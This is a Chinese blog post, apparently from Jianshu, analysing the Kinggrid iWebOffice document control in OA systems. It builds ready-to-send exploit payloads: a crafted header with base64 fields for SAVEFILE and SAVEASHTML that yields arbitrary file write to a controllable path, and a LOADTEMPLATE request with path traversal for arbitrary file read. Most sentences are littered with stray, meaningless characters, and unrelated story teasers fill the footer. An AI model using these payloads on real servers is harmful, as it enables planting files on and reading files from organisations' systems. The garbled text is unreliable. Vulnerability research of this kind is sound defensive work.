金格iWebOffice控件分析

前言

眾所周知靶溜,多個oa中都使用了金格iWebOffice控件昌犹。但在不同的oa中exp多少存在差異性盏档,嘗試從代碼層一探究竟般哼。

簡介

金格iWebOffice控件是一種文檔控件窃判,能夠在瀏覽器上進(jìn)行編輯word文檔钞楼、excel表格等文檔最終保存在服務(wù)器上,手寫簽名袄琳、電子簽章廣泛應(yīng)用于此询件。所以oa都喜歡使用。

漏洞分析

以某oa為例唆樊,本地搭建OfficeServer.jsp進(jìn)行訪問宛琅。

image.png
image.png

首先創(chuàng)建iWebOffice類的實(shí)例,officeServer對象調(diào)用ExecuteRun方法逗旁。并傳入request嘿辟、response。

image.png

在ExecuteRun方法里,會創(chuàng)建出數(shù)據(jù)庫對象和創(chuàng)建信息包對象红伦。

image.png

iMsgServer2000 方法里DBSTEP V3.0字符串賦值為this._$906英古,this._$903創(chuàng)建出臨時(shí)文件。
而后調(diào)用deleteOnExit方法刪除臨時(shí)文件昙读。

回到ExecuteRun方法里召调,往下判斷請求方法是否為Post請求。

image.png

即必須使用Post方法進(jìn)行請求箕戳。

image.png

當(dāng)使用Post方法請求時(shí)某残,首先進(jìn)入MsgObj.Load方法。跟進(jìn)該方法陵吸。

image.png

一個修改編碼的操作,然后調(diào)用了_$1027方法介牙。

image.png

在該方法里以輸入流的方式一次性讀取到mRead壮虫,而后從mRead中讀取64位長度保存到HeadString字符串中。
接下來截取HeadString字符串的0-15位賦值為 this._$906环础,16-31位賦值為BodySize(int類型)囚似,32-47位賦值為ErrorSize(int類型),48-63位賦值為this._$907(int類型)即FileSize线得。
代碼走到這個地方饶唤,我們可以嘗試初步構(gòu)造一下這64位長度。

aaaaaaaaaaaaaaaa1               2               3               

debug 跟蹤一下

image.png

和我們計(jì)算的一樣贯钩。

image.png

然后mRead會繼續(xù)讀取BodySize大小的數(shù)據(jù)并賦值為this._$904募狂。

image.png

再往下,如果ErrorSize大于0角雷,mRead會繼續(xù)讀取ErrorSize大小的數(shù)據(jù)并賦值為this._$905祸穷。

image.png

再往下,如果FileSize大于0勺三,會創(chuàng)建出this._$903輸出流雷滚,并最終寫入文件。

image.png

再往下吗坚,如果FileSize小于BlockSize祈远,mRead會繼續(xù)讀取FileSize大小的數(shù)據(jù)并寫入mWite。
到這里商源,我們可以對數(shù)據(jù)格式進(jìn)一步調(diào)整车份。

aaaaaaaaaaaaaaaa8               2               3               bbbxxccc

至此MsgObj.Load方法就分析了,我們發(fā)現(xiàn)有一個文件寫入的操作炊汹。但我們需要尋找可控制的參數(shù)來實(shí)現(xiàn)它躬充。
現(xiàn)在回到OfficeServer.jsp頁面中。

image.png

都用到了GetMsgByName方法。

image.png

該方法里判斷this._$904里是否存在mFieldName充甚,即DBSTEP=以政,如果存在才會進(jìn)入if語句。而后以\r\n分割伴找,并對值進(jìn)行base64解碼盈蛮。

基于這個條件,我們完善我們的數(shù)據(jù)格式技矮。

aaaaaaaaaaaaaaaa13              2               3               DBSTEP=MTEx
xxccc

再次回到OfficeServer.jsp中抖誉,因?yàn)槎际怯蒅etMsgByName方法獲取的FieldName。我們依次構(gòu)造一下衰倦。

image.png

DBSTEP要等于DBSTEP袒炉,即DBSTEP=REJTVEVQ

aaaaaaaaaaaaaaaa48              2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=
USERNAME=
xxccc

option可以理解為操作的方法,分別對應(yīng)不同的if else語句樊零。當(dāng)option為SAVEFILE時(shí)我磁,為保存文件到服務(wù)器。

image.png

依次構(gòu)造出RECORDID驻襟、FILENAME夺艰、FILETYPE。
再往下一個參數(shù)isDoc沉衣,當(dāng)isDoc為true是郁副,會保存到文件夾。保存的位置由moduleType定義豌习。

image.png

此時(shí)數(shù)據(jù)格式為

aaaaaaaaaaaaaaaa127             2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=
FILETYPE=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc

再往下就看到保存文件的操作了存谎。

image.png

MsgFileSave方法實(shí)現(xiàn)了將this._$903復(fù)制到FileName

image.png

可以發(fā)現(xiàn)FileType由可以控制的斑鸦,即可以控制FileName愕贡。
比如FileType賦值為information,文件就會保存到/upload/information/
exp即為:

aaaaaaaaaaaaaaaa138             2               3               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=MQ==
FILENAME=
FILETYPE=MS50eHQ=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
image.png

成功寫入巷屿,現(xiàn)在只保留必須的參數(shù)即是exp固以。

aaaaaaaaaaaaaaaa101             3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
FILETYPE=MS50eHQ
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxx1111

總結(jié)一下
exp總共是4部分。
1嘱巾、必須是64位的HeadString憨琳。即this._$906+BodySize+ErrorSize+this._$907

aaaaaaaaaaaaaaaa101             3               4              

2、進(jìn)行寫入文件的必備參數(shù)旬昭。即

DBSTEP=REJTVEVQ\r\nOPTION=U0FWRUZJTEU=\r\nFILETYPE=MS50eHQ\r\nisDoc=dHJ1ZQ==\r\nmoduleType=aW5mb3JtYXRpb24=\r\n

計(jì)算該字符串長度即是BodySize
3篙螟、讀取ErrorSize部分的字符。即xxx问拘,為3位ErrorSize
4遍略、讀取this._$907部分的字符惧所,即1111,為4位this._$907

在整個過程里绪杏,需要注意的是
1下愈、字符串長度的計(jì)算最好使用代碼實(shí)現(xiàn),編輯器存在誤差蕾久。
2势似、因?yàn)?code>FILETYPE的可控,完全可以寫入任意路徑僧著。
3履因、HeadString部分滿足64位即可,不需要一定存在DBSTEP V3.0

以上就是當(dāng)OPTION為SAVEFILE的利用盹愚,思考一下其他OPTION會存在漏洞嗎栅迄?SAVEFILE操作產(chǎn)生漏洞的關(guān)鍵就是用了MsgFileSave方法且mFileType可控。依據(jù)這個思路尋找其他操作杯拐。
SAVEASHTML操作時(shí)也出現(xiàn)了MsgFileSavemHtmlName可控霞篡。

image.png

構(gòu)造一下exp

aaaaaaaaaaaaaaaa65              3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=MTIzLnR4dA==
xxx1111

成功寫入。

image.png

除此之外端逼,還有SAVEASPAGE、PUTFILE等操作均可以污淋。
在LOADTEMPLATE操作中顶滩,還存在一個MsgFileLoad任意文件讀取。構(gòu)造一下exp

aaaaaaaaaaaaaaaa111             0               0               DBSTEP=REJTVEVQ
OPTION=TE9BRFRFTVBMQVRF
COMMAND=SU5TRVJURklMRQ==
TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==

但該漏洞只適用于windows環(huán)境下寸爆。
因?yàn)閘inux在處理路徑分隔符時(shí)有一些差異礁鲁,無法找到該文件。

image.png

在windows下可正常讀取赁豆。

image.png

總結(jié)

繪制一張粗糙的流程圖回顧一下仅醇。

image.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市魔种,隨后出現(xiàn)的幾起案子析二,更是在濱河造成了極大的恐慌,老刑警劉巖节预,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件叶摄,死亡現(xiàn)場離奇詭異,居然都是意外死亡安拟,警方通過查閱死者的電腦和手機(jī)蛤吓,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來糠赦,“玉大人会傲,你說我怎么就攤上這事锅棕。” “怎么了淌山?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵裸燎,是天一觀的道長。 經(jīng)常有香客問我艾岂,道長顺少,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任王浴,我火速辦了婚禮脆炎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘氓辣。我一直安慰自己秒裕,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布钞啸。 她就那樣靜靜地躺著几蜻,像睡著了一般。 火紅的嫁衣襯著肌膚如雪体斩。 梳的紋絲不亂的頭發(fā)上梭稚,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天,我揣著相機(jī)與錄音絮吵,去河邊找鬼弧烤。 笑死,一個胖子當(dāng)著我的面吹牛蹬敲,可吹牛的內(nèi)容都是我干的暇昂。 我是一名探鬼主播,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼伴嗡,長吁一口氣:“原來是場噩夢啊……” “哼急波!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起瘪校,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤澄暮,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后渣淤,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體赏寇,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年价认,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了嗅定。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡用踩,死狀恐怖渠退,靈堂內(nèi)的尸體忽然破棺而出忙迁,到底是詐尸還是另有隱情,我是刑警寧澤碎乃,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布姊扔,位于F島的核電站,受9級特大地震影響梅誓,放射性物質(zhì)發(fā)生泄漏恰梢。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一梗掰、第九天 我趴在偏房一處隱蔽的房頂上張望嵌言。 院中可真熱鬧,春花似錦及穗、人聲如沸摧茴。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽苛白。三九已至,卻和暖如春焚虱,著一層夾襖步出監(jiān)牢的瞬間购裙,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工鹃栽, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留缓窜,地道東北人。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓谍咆,卻偏偏與公主長得像,于是被迫代替她去往敵國和親私股。 傳聞我的和親對象是個殘疾皇子摹察,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 總結(jié)了一些開發(fā)中常用的函數(shù): usleep() //函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() //函數(shù)從二進(jìn)制...
    ADL2022閱讀 454評論 0 3
  • php usleep() 函數(shù)延遲代碼執(zhí)行若干微秒倡鲸。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解包供嚎。 uni...
    思夢PHP閱讀 1,984評論 1 24
  • PHP常用函數(shù)大全 usleep() 函數(shù)延遲代碼執(zhí)行若干微秒。 unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解...
    上街買菜丶迷倒老太閱讀 1,369評論 0 20
  • usleep() 函數(shù)延遲代碼執(zhí)行若干微秒峭状。unpack() 函數(shù)從二進(jìn)制字符串對數(shù)據(jù)進(jìn)行解包克滴。uniqid() ...
    知碼客閱讀 194評論 0 0
  • 概述 ??本文檔描述了Mach-O文件格式的結(jié)構(gòu),它被用來存儲程序和庫到硬盤中优床,作為Mac OS X程序的二進(jìn)制接...
    VenpleD閱讀 1,468評論 0 5